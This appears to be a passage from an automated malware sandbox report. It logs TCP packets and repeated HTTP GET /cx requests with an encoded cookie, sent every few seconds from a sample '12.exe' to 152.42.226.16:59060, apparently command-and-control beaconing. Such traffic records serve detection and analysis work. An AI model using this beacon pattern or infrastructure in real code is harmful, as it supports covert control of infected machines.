Dec 26, 2024 19:31:41.055795908 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:41.056081057 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:41.056137085 CET	59060	50078	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:41.056149960 CET	59060	50077	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:41.056243896 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:41.056267023 CET	50078	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:41.056358099 CET	50077	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:41.056504965 CET	50078	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:41.176073074 CET	59060	50078	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:43.731837988 CET	59060	50078	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:43.731887102 CET	50078	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:43.731971025 CET	50078	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:43.850303888 CET	50079	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:43.851541996 CET	59060	50078	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:43.969991922 CET	59060	50079	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:43.970068932 CET	50079	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:43.970377922 CET	50079	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:44.089889050 CET	59060	50079	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:46.631531954 CET	59060	50079	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:46.633605003 CET	50079	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:46.633671045 CET	50079	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:46.740775108 CET	50080	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:46.753174067 CET	59060	50079	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:46.860582113 CET	59060	50080	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:46.860682011 CET	50080	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:46.860937119 CET	50080	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:46.980849981 CET	59060	50080	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:49.520464897 CET	59060	50080	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:49.520544052 CET	50080	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:49.520590067 CET	50080	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:49.631028891 CET	50081	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:49.640225887 CET	59060	50080	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:49.750746965 CET	59060	50081	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:49.750819921 CET	50081	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:49.751136065 CET	50081	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:49.870963097 CET	59060	50081	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:52.411937952 CET	59060	50081	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:52.413722038 CET	50081	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:52.413722038 CET	50081	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:52.521015882 CET	50082	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:52.533343077 CET	59060	50081	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:52.640676975 CET	59060	50082	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:52.640818119 CET	50082	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:52.641571045 CET	50082	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:52.762439966 CET	59060	50082	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:55.302402973 CET	59060	50082	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:55.302479029 CET	50082	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:55.302933931 CET	50082	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:55.413165092 CET	50083	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:55.422420979 CET	59060	50082	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:55.534677982 CET	59060	50083	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:55.534775972 CET	50083	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:55.534957886 CET	50083	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:55.654504061 CET	59060	50083	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:58.236124039 CET	59060	50083	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:58.236196041 CET	50083	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:58.236236095 CET	50083	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:58.349260092 CET	50084	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:58.356400013 CET	59060	50083	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:58.469794989 CET	59060	50084	152.42.226.16	192.168.2.4
Dec 26, 2024 19:31:58.469934940 CET	50084	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:58.470114946 CET	50084	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:31:58.589824915 CET	59060	50084	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:01.239901066 CET	59060	50084	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:01.240048885 CET	50084	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:32:01.240165949 CET	50084	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:32:01.349574089 CET	50085	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:32:01.359796047 CET	59060	50084	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:01.470118999 CET	59060	50085	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:01.470205069 CET	50085	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:32:01.470427990 CET	50085	59060	192.168.2.4	152.42.226.16
Dec 26, 2024 19:32:01.591388941 CET	59060	50085	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:04.130444050 CET	59060	50085	152.42.226.16	192.168.2.4
Dec 26, 2024 19:32:04.130503893 CET	50085	59060	192.168.2.4	152.42.226.16

HTTP Request Dependency Graph

152.42.226.16:59060

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:27:58.501960039 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:01.404603958 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:04.326299906 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:07.245825052 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:10.171814919 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:13.248894930 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:16.155977964 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:19.110304117 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49743	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:22.092303991 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:25.001307964 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:27.889086008 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:30.810631990 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:33.727039099 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49749	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:36.613922119 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49750	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:39.532476902 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49751	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:42.453362942 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49752	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:45.440135956 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49753	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:48.397075891 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49754	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:51.315757036 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49755	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:54.218161106 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49758	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:28:57.203973055 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49764	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:00.131360054 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:03.033688068 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49776	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:05.984513998 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49782	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:08.875693083 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49788	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:11.766458035 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49794	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:14.654863119 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49805	152.42.226.16	59060	7324	C:\Users\user\Desktop\12.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 19:29:17.548139095 CET	380	OUT	GET /cx HTTP/1.1 Accept: / Cookie: FsPTOAWbYM/l7TkjAD+lEbBpclOsg9+5CnXs9iJ3EforKeT1S3uAKIXmv+FEmZwBGHCVtYSmr/rp2V4OuFnh/QsN9z8/URr5Ks1TYq1YIh1KhYDMHf7N8i+/IsUWro5AcnEdaipIcAkHULgpq9npVEmyi5G8vzoV4+7Sb0hARVM= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 152.42.226.16:59060 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
